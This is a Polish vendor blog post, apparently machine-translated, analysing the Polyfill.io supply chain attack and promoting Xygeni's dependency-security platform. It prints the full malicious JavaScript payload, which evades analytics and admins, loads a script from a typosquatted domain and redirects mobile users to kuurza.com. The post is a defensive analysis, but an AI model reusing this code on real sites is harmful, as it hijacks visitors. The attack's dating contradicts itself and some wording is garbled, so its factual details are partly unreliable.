W lutym 2024 Atak na łańcuch dostaw Polyfill.io—doskonały przykład ataki na łańcuch dostaw oprogramowania—zaatakował ponad 100 000 stron internetowych na całym świecie. Incydent ten dotyczył przejęcie pakietów, gdzie FUNNULL, złośliwy podmiot, przejął kontrolę nad domeną Polyfill i repozytorium GitHub, wstrzykując złośliwe oprogramowanie do usługi. Szkodliwe oprogramowanie atakowało użytkowników mobilnych, przekierowując ich na fałszywe strony hazardowe, wykorzystując luki w zabezpieczeniach dynamicznego dostarczania kodu Polyfill opartego na nagłówkach HTTP i agentach użytkownika.
Szczegóły techniczne: Jak działał atak Polyfill
Polyfill jest powszechnie stosowany w celu zapewnienia kompatybilności nowoczesnych funkcji internetowych ze starszymi przeglądarkami. Atakujący wykorzystali przejęcie pakietów kupując ww cdn.polyfill.io domeny i osadzanie złośliwych skryptów. To, co czyniło ten atak tak niebezpiecznym, to wyrafinowane zachowanie złośliwego oprogramowania:
- Dynamiczne generowanie koduUsługa Polyfill generowała dostosowane odpowiedzi JavaScript w oparciu o urządzenie, z którego uzyskiwano dostęp do witryny (np. urządzenie mobilne czy komputer stacjonarny), nagłówki HTTP i aplikacje klienckie. Atakujący wykorzystali tę dynamikę, wstrzykując złośliwe oprogramowanie dostosowane do konkretnych urządzeń – w szczególności telefonów komórkowych.
- Techniki uników: Szkodliwe oprogramowanie było inteligentne. Opóźniało wykonanie ataku po wykryciu usług analitycznych, takich jak Google Analytics, uniemożliwiając uwzględnienie jego działań w statystykach witryny. Ponadto nie aktywowało się po wykryciu użytkowników z uprawnieniami administratora lub programistów, co dodatkowo zapobiegało wczesnemu wykryciu podczas debugowania lub testowania.
- Przekierowanie mobilne:Po aktywacji złośliwe oprogramowanie przekierowywało użytkowników do fałszywych witryn hazardowych, podszywając się pod legalne domeny (np. googie-anaiytics.com). Atakujący manipulowali nawet przedziałami czasowymi, aby zmniejszyć podejrzenia, uruchamiając ładunek tylko w określonych godzinach, aby zaskoczyć niczego niepodejrzewających użytkowników urządzeń mobilnych.
Największe witryny dotknięte atakiem Polyfill
Atak na łańcuch dostaw Polyfill dotknęło ponad 100 000 stron internetowych, w tym takie duże organizacje, jak:
- Światowe Forum Ekonomiczne
- Intuit
- JSTOR
- Bank of Ireland
- Coldwell Banker
- Live Nation
- Brandeis University
- Firma Dubai Airports
- Fundusz Ochrony Środowiska
Te znane ofiary podkreślają globalny zasięg ataku i podatność na ataki dużych instytucji do naruszeń łańcucha dostaw.
Wczesne ostrzeżenia i reakcja
Andrzej BettsOryginalny twórca Polyfill ostrzegał deweloperów na kilka miesięcy przed atakiem, przestań korzystać z usługi Polyfill po tym, jak stracił kontrolę nad domeną. Jego ostrzeżenie pozostało w dużej mierze niezauważone, aż do ataku FUNNULLA. Po wykryciu, sieci dostarczania treści, takie jak Cloudflare i Fastly przedstawił bezpieczne alternatywy, a Betts powtórzył swoją radę dla deweloperów, aby całkowicie usunęli odniesienia do Polyfill.
Żadna strona internetowa nie wymaga obecnie żadnych polyfillów z https://t.co/3xHecLPXkB Biblioteka. Większość funkcji dodanych do platformy internetowej jest szybko wdrażana przez wszystkie główne przeglądarki, z pewnymi wyjątkami, których generalnie nie da się w żaden sposób obsłużyć, jak Web Serial i Web Bluetooth.
— Andrew Betts (@triblondon) 25 lutego 2024 r.
Przykład złośliwego ładunku Polyfill
Aby zobrazować wyrafinowanie ataku na łańcuch dostaw Polyfill, Sansek podał szczegółowy przykład użytego złośliwego ładunku. Ten ładunek dynamicznie dostosowywał się do urządzenia użytkownika, uruchamiając przekierowania do fałszywych stron internetowych i stosując techniki unikania wykrycia. Aby bliżej przyjrzeć się szczegółom technicznym tego ładunku, możesz sprawdzić Sansec'a pełna analiza i próbka złośliwego kodu.
function isPc() {
try {
var _isWin =
navigator.platform == "Win32" || navigator.platform == "Windows",
_isMac =
navigator.platform == "Mac68K" ||
navigator.platform == "MacPPC" ||
navigator.platform == "Macintosh" ||
navigator.platform == "MacIntel";
if (_isMac || _isWin) {
return true;
} else {
return false;
}
} catch (_0x44e1f6) {
return false;
}
}
function vfed_update(_0x5ae1f8) {
_0x5ae1f8 !== "" &&
loadJS(
"https://www.googie-anaiytics.com/html/checkcachehw.js",
function () {
if (usercache == true) {
window.location.href = _0x5ae1f8;
}
}
);
}
function check_tiaozhuan() {
var _isMobile = navigator.userAgent.match(
/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
);
if (_isMobile) {
var _curHost = window.location.host,
_ref = document.referrer,
_redirectURL = "",
_kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
_rnd = Math.floor(Math.random() * 100 + 1),
_date = new Date(),
_hours = _date.getHours();
if (
_curHost.indexOf("www.dxtv1.com") !== -1 ||
_curHost.indexOf("www.ys752.com") !== -1
) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_curHost.indexOf("shuanshu.com.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_hours >= 0 && _hours < 2) {
if (_rnd <= 10) {
_redirectURL = _kuurzaBitGet;
}
} else {
if (_hours >= 2 && _hours < 4) {
_rnd <= 15 && (_redirectURL = _kuurzaBitGet);
} else {
if (_hours >= 4 && _hours < 7) {
_rnd <= 20 && (_redirectURL = _kuurzaBitGet);
} else {
_hours >= 7 && _hours < 8
? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
: _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
}
}
}
}
}
}
_redirectURL != "" &&
!isPc() &&
document.cookie.indexOf("admin_id") == -1 &&
document.cookie.indexOf("adminlevels") == -1 &&
vfed_update(_redirectURL);
}
}
let _outerPage = document.documentElement.outerHTML,
bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
aplausix = _outerPage.indexOf(".plausible.io") != -1,
statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
? setTimeout(check_tiaozhuan, 2000)
: check_tiaozhuan();
Dlaczego doszło do ataku na łańcuch dostaw Polyfill?
Atak na łańcuch dostaw Polyfill podkreśla krytyczną rolę luki w zabezpieczeniach w zależnościach od stron trzecich Zarządzanie. Nowoczesny ekosystem JavaScript w dużej mierze opiera się na bibliotekach open source, a programiści często korzystają z narzędzi takich jak npm, aby automatycznie integrować te biblioteki. Bez rygorystycznego audytu i ciągłego monitorowania, skompromitowane pakiety mogą przedostać się niezauważone, jak w przypadku Polyfill.
Co więcej, szybkie tempo rozwoju i wdrażania w dzisiejszych środowiskach oprogramowania często stawia funkcjonalność i szybkość ponad dokładne kontrole bezpieczeństwa. Atakujący wykorzystują tę lukę, atakując popularne biblioteki, aby zmaksymalizować swój wpływ. W przypadku Polyfill, po przejęciu kontroli nad domeną, atakujący wykorzystali powszechne użycie biblioteki do wstrzyknięcia złośliwego kodu do ogromnej liczby witryn internetowych.
Ten incydent podkreśla wagę wdrożenia rygorystycznych środków bezpieczeństwa, takich jak narzędzia do audytu zależności, monitorowanie w czasie rzeczywistym i solidne plany reagowania na incydenty, w celu ochrony przed podobnymi atakami na łańcuch dostaw oprogramowania. Organizacje muszą priorytetowo traktować bezpieczeństwo w swoich procesach rozwoju oprogramowania, aby skutecznie chronić swoje ekosystemy cyfrowe.
Zapobieganie przyszłym atakom: solidne zarządzanie zależnościami
Podczas zarządzania zależnościami, Xygeni'ego Open Source Security Platforma stosuje wiele warstw ochrony, zaprojektowanych w celu wykrywania, poddawania kwarantannie i usuwania złośliwych komponentów w czasie rzeczywistym oraz zapobiegania atakom na łańcuch dostaw oprogramowania.
Wykrywanie złośliwego oprogramowania w czasie rzeczywistym:Xygeni stale monitoruje rejestry publiczne, skanując je w poszukiwaniu podejrzanego kodu, zanim trafi on do środowiska programistycznego. Pozwala to na proaktywne blokowanie zagrożeń, takich jak atak Polyfill, jak opisano w Luisa Rodrigueza seria artykułów.
Automatyczne alerty i kwarantanna:Xygeni automatycznie izoluje zagrożone pakiety i generuje alerty, umożliwiając zespołom programistycznym szybkie działanie. Dzięki integracji z CI/CD pipelineDzięki temu każde zagrożenie można zatrzymać, zanim dotrze do produkcji. W przypadkach takich jak incydent Polyfill, funkcja ta zapobiega szerokiemu rozprzestrzenianiu się zagrożenia poprzez wczesne zatrzymanie złośliwego kodu.
Dynamiczna priorytetyzacja i SBOM:Xygeni dynamicznie priorytetyzuje luki w zabezpieczeniach na podstawie kontekstu, możliwości ich wykorzystania i wpływu na biznes. Generując zestawienie materiałów oprogramowania w czasie rzeczywistym (SBOM)Organizacje mogą śledzić wszystkie komponenty firm trzecich, zapewniając pełną transparentność. Monitorowanie w czasie rzeczywistym ma kluczowe znaczenie w zarządzaniu zależnościami open source, umożliwiając szybką reakcję na incydenty, takie jak przejęcie kontroli nad Polyfillem.
W serii artykułów autorstwa Luis Rodriguez, skupienie się na proaktywna obrona Szczegółowo omówiono ochronę przed złośliwymi pakietami open-source. Podejście Xygeni obejmuje nie tylko wykrywanie w czasie rzeczywistym, ale także zapewnia zautomatyzowane ścieżki naprawcze, umożliwiając organizacjom powrót do bezpiecznych wersji bez zakłócania produkcji.
Twój koszyk złośliwe pakiety Open Source Tutaj znajdziesz serię artykułów, z których dowiesz się więcej o tym, jak Xygeni zarządza bezpieczeństwem oprogramowania typu open source.
Chroń swoje zależności Open Source przed złośliwym oprogramowaniem
Odkryj proaktywne strategie ochrony oprogramowania open source przed złośliwym oprogramowaniem. Pobierz nasz dokument, aby uzyskać najważniejsze informacje na temat ochrony przed złośliwym oprogramowaniem.
Lekcje z ataku Polyfill
Atak na łańcuch dostaw Polyfill.io uczy ważnych rzeczy o ryzyku związanym z zależnością od stron trzecich w nowoczesnym tworzeniu stron internetowych.
- Czujność w zależnościach od podmiotów trzecich:To jest najważniejszy wniosek. Organizacje muszą regularnie przeglądać, weryfikować i monitorować wszystkich używanych przez nich bibliotek zewnętrznych. Nadmierne poleganie na niesprawdzonych zależnościach może narazić systemy na poważne zagrożenia.
- Proaktywne środki bezpieczeństwa: Ciągły monitoring, np. Wykrywanie zagrożeń w czasie rzeczywistym firmy Xygeni, mogą wykryć luki we wczesnym stadium.
- Edukacja i szkolenie:Informowanie wszystkich członków zespołu o najnowszych zagrożeniach wzmacnia bezpieczeństwo organizacji.
Atak na łańcuch dostaw Polyfill stanowi dobitne przypomnienie o rosnącym zagrożeniu, jakie stwarza ataki na łańcuch dostaw oprogramowania. Ataki te wykorzystują luki w powszechnie używanych komponentach firm trzecich, narażając organizacje każdej wielkości na ataki. Wdrażając proaktywne środki bezpieczeństwa, takie jak monitorowanie na żywo, automatyczne wykrywanie zagrożeń, solidne zarządzanie zależnościami— podobnie jak te oferowane przez Xygeni — firmy mogą chronić się przed podobnymi zagrożeniami w przyszłości. Zachowanie czujności i kompleksowy nadzór nad bibliotekami zewnętrznymi są kluczowe dla zapobiegania kompromitacji na dużą skalę, takiej jak Polyfill.
Zabezpiecz swoje zależności od oprogramowania typu open source przed atakami na łańcuch dostaw oprogramowania
Nie pozwól, aby Twoja aplikacja padła ofiarą ataki na łańcuch dostaw oprogramowania jak Polyfill. Xygeni's Open Source Security Platforma oferuje monitorowanie w czasie rzeczywistym, zaawansowane mapowanie zależności i automatyczną naprawę w celu ochrony Twojego rozwoju pipelinez zagrożonych pakietów.
Przejmij kontrolę nad swoim łańcuchem dostaw oprogramowania już dziś. Zapisz demo i zobacz, w jaki sposób Xygeni może ochronić Twoją organizację przed przyszłymi zagrożeniami.







